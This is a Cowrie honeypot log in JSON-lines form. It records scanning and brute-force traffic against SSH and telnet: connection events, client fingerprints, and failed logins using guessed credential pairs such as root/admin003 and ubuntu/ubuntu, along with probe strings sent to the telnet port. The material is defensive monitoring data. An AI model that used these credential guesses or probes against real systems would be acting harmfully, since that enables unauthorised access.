{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:05.946397Z","src_ip":"87.251.64.176","session":"10cd8c199d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:06.049281Z","src_ip":"87.251.64.176","session":"10cd8c199d73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":40492,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb3331d211ee","protocol":"ssh","message":"New connection: 103.91.246.101:40492 (159.203.135.109:22) [session: bb3331d211ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:42.898721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:42.903441Z","src_ip":"103.91.246.101","session":"bb3331d211ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:43.122984Z","src_ip":"103.91.246.101","session":"bb3331d211ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin003","message":"login attempt [root/admin003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:44.031231Z","src_ip":"103.91.246.101","session":"bb3331d211ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:30:45.254206Z","src_ip":"103.91.246.101","session":"bb3331d211ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.216.61.203","src_port":23821,"dst_ip":"10.17.0.5","dst_port":23,"session":"26bfc09a7477","protocol":"telnet","message":"New connection: 196.216.61.203:23821 (10.17.0.5:23) [session: 26bfc09a7477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:22.517143Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":60798,"dst_ip":"159.203.135.109","dst_port":22,"session":"9302ec79a4a8","protocol":"ssh","message":"New connection: 2.57.121.112:60798 (159.203.135.109:22) [session: 9302ec79a4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:32.489061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:32.492531Z","src_ip":"2.57.121.112","session":"9302ec79a4a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:32.597150Z","src_ip":"2.57.121.112","session":"9302ec79a4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"royston","message":"login attempt [admin/royston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:33.093984Z","src_ip":"2.57.121.112","session":"9302ec79a4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"roxbury","message":"login attempt [admin/roxbury] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:34.203017Z","src_ip":"2.57.121.112","session":"9302ec79a4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rowdy1","message":"login attempt [admin/rowdy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:35.312039Z","src_ip":"2.57.121.112","session":"9302ec79a4a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.843984842300415,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:35.360996Z","src_ip":"196.216.61.203","session":"26bfc09a7477","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rotterdam","message":"login attempt [admin/rotterdam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:36.420425Z","src_ip":"2.57.121.112","session":"9302ec79a4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rosemarie","message":"login attempt [admin/rosemarie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:37.529884Z","src_ip":"2.57.121.112","session":"9302ec79a4a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:38.639086Z","src_ip":"2.57.121.112","session":"9302ec79a4a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":30756,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8da1347250a","protocol":"telnet","message":"New connection: 34.52.131.195:30756 (10.17.0.5:23) [session: d8da1347250a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:40.118496Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":30758,"dst_ip":"10.17.0.5","dst_port":23,"session":"329fbc0ca9bb","protocol":"telnet","message":"New connection: 34.52.131.195:30758 (10.17.0.5:23) [session: 329fbc0ca9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:40.271931Z"}
{"eventid":"cowrie.session.closed","duration":0.007653474807739258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:40.279460Z","src_ip":"34.52.131.195","session":"329fbc0ca9bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":30762,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0586bb213c3","protocol":"telnet","message":"New connection: 34.52.131.195:30762 (10.17.0.5:23) [session: b0586bb213c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:40.428923Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":53724,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac36bc37336f","protocol":"ssh","message":"New connection: 103.91.246.101:53724 (159.203.135.109:22) [session: ac36bc37336f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:44.985173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:44.989744Z","src_ip":"103.91.246.101","session":"ac36bc37336f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:45.227962Z","src_ip":"103.91.246.101","session":"ac36bc37336f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"brandy","message":"login attempt [test/brandy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:46.209952Z","src_ip":"103.91.246.101","session":"ac36bc37336f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:47.458647Z","src_ip":"103.91.246.101","session":"ac36bc37336f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.768110990524292,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:49.886489Z","src_ip":"34.52.131.195","session":"d8da1347250a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10666,"dst_ip":"10.17.0.5","dst_port":23,"session":"00e63d338eba","protocol":"telnet","message":"New connection: 34.52.131.195:10666 (10.17.0.5:23) [session: 00e63d338eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:59.585071Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:59.590094Z","src_ip":"34.52.131.195","session":"00e63d338eba","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:59.597205Z","src_ip":"34.52.131.195","session":"00e63d338eba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09184575080871582,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:59.676825Z","src_ip":"34.52.131.195","session":"00e63d338eba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10678,"dst_ip":"10.17.0.5","dst_port":23,"session":"a09cae2eecc0","protocol":"telnet","message":"New connection: 34.52.131.195:10678 (10.17.0.5:23) [session: a09cae2eecc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:59.751344Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10686,"dst_ip":"10.17.0.5","dst_port":23,"session":"df7624e2f28e","protocol":"telnet","message":"New connection: 34.52.131.195:10686 (10.17.0.5:23) [session: df7624e2f28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:31:59.905961Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10692,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac86dffdbb3d","protocol":"telnet","message":"New connection: 34.52.131.195:10692 (10.17.0.5:23) [session: ac86dffdbb3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:00.060849Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10694,"dst_ip":"10.17.0.5","dst_port":23,"session":"a210d8029ff4","protocol":"telnet","message":"New connection: 34.52.131.195:10694 (10.17.0.5:23) [session: a210d8029ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:00.215698Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10708,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef74e16f9402","protocol":"telnet","message":"New connection: 34.52.131.195:10708 (10.17.0.5:23) [session: ef74e16f9402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:00.368994Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10712,"dst_ip":"10.17.0.5","dst_port":23,"session":"da6e78fbb2a6","protocol":"telnet","message":"New connection: 34.52.131.195:10712 (10.17.0.5:23) [session: da6e78fbb2a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:00.523860Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10726,"dst_ip":"10.17.0.5","dst_port":23,"session":"43744d78062a","protocol":"telnet","message":"New connection: 34.52.131.195:10726 (10.17.0.5:23) [session: 43744d78062a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:00.679407Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10736,"dst_ip":"10.17.0.5","dst_port":23,"session":"864959b649d9","protocol":"telnet","message":"New connection: 34.52.131.195:10736 (10.17.0.5:23) [session: 864959b649d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:00.835639Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37544,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e1c87bee375","protocol":"ssh","message":"New connection: 80.94.92.186:37544 (10.17.0.5:22) [session: 0e1c87bee375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:00.894248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:00.968393Z","src_ip":"80.94.92.186","session":"0e1c87bee375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10744,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cc408ba52b9","protocol":"telnet","message":"New connection: 34.52.131.195:10744 (10.17.0.5:23) [session: 6cc408ba52b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:00.989451Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:01.108021Z","src_ip":"80.94.92.186","session":"0e1c87bee375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10750,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a8e1b9db6f4","protocol":"telnet","message":"New connection: 34.52.131.195:10750 (10.17.0.5:23) [session: 1a8e1b9db6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:01.219811Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10754,"dst_ip":"10.17.0.5","dst_port":23,"session":"7273eaeac565","protocol":"telnet","message":"New connection: 34.52.131.195:10754 (10.17.0.5:23) [session: 7273eaeac565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:01.374474Z"}
{"eventid":"cowrie.session.closed","duration":0.0056574344635009766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:01.379983Z","src_ip":"34.52.131.195","session":"7273eaeac565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10770,"dst_ip":"10.17.0.5","dst_port":23,"session":"595a9a400837","protocol":"telnet","message":"New connection: 34.52.131.195:10770 (10.17.0.5:23) [session: 595a9a400837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:01.529229Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10772,"dst_ip":"10.17.0.5","dst_port":23,"session":"afc09eeb3a21","protocol":"telnet","message":"New connection: 34.52.131.195:10772 (10.17.0.5:23) [session: afc09eeb3a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:01.686330Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10780,"dst_ip":"10.17.0.5","dst_port":23,"session":"01cf28888e5c","protocol":"telnet","message":"New connection: 34.52.131.195:10780 (10.17.0.5:23) [session: 01cf28888e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:01.842898Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10788,"dst_ip":"10.17.0.5","dst_port":23,"session":"944fd5262285","protocol":"telnet","message":"New connection: 34.52.131.195:10788 (10.17.0.5:23) [session: 944fd5262285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:02.001078Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:02.065179Z","src_ip":"80.94.92.186","session":"0e1c87bee375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10802,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b4eb8aa1126","protocol":"telnet","message":"New connection: 34.52.131.195:10802 (10.17.0.5:23) [session: 5b4eb8aa1126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:02.157456Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10808,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca05ed8bc371","protocol":"telnet","message":"New connection: 34.52.131.195:10808 (10.17.0.5:23) [session: ca05ed8bc371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:02.313855Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10816,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f0a0a7a004c","protocol":"telnet","message":"New connection: 34.52.131.195:10816 (10.17.0.5:23) [session: 3f0a0a7a004c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:02.470203Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10818,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d0ba3773220","protocol":"telnet","message":"New connection: 34.52.131.195:10818 (10.17.0.5:23) [session: 2d0ba3773220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:02.625715Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10828,"dst_ip":"10.17.0.5","dst_port":23,"session":"af2d41252234","protocol":"telnet","message":"New connection: 34.52.131.195:10828 (10.17.0.5:23) [session: af2d41252234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:02.780730Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:02.787994Z","src_ip":"34.52.131.195","session":"af2d41252234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.131.195","src_port":10836,"dst_ip":"10.17.0.5","dst_port":23,"session":"88e2a53ab073","protocol":"telnet","message":"New connection: 34.52.131.195:10836 (10.17.0.5:23) [session: 88e2a53ab073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:32:02.941765Z"}
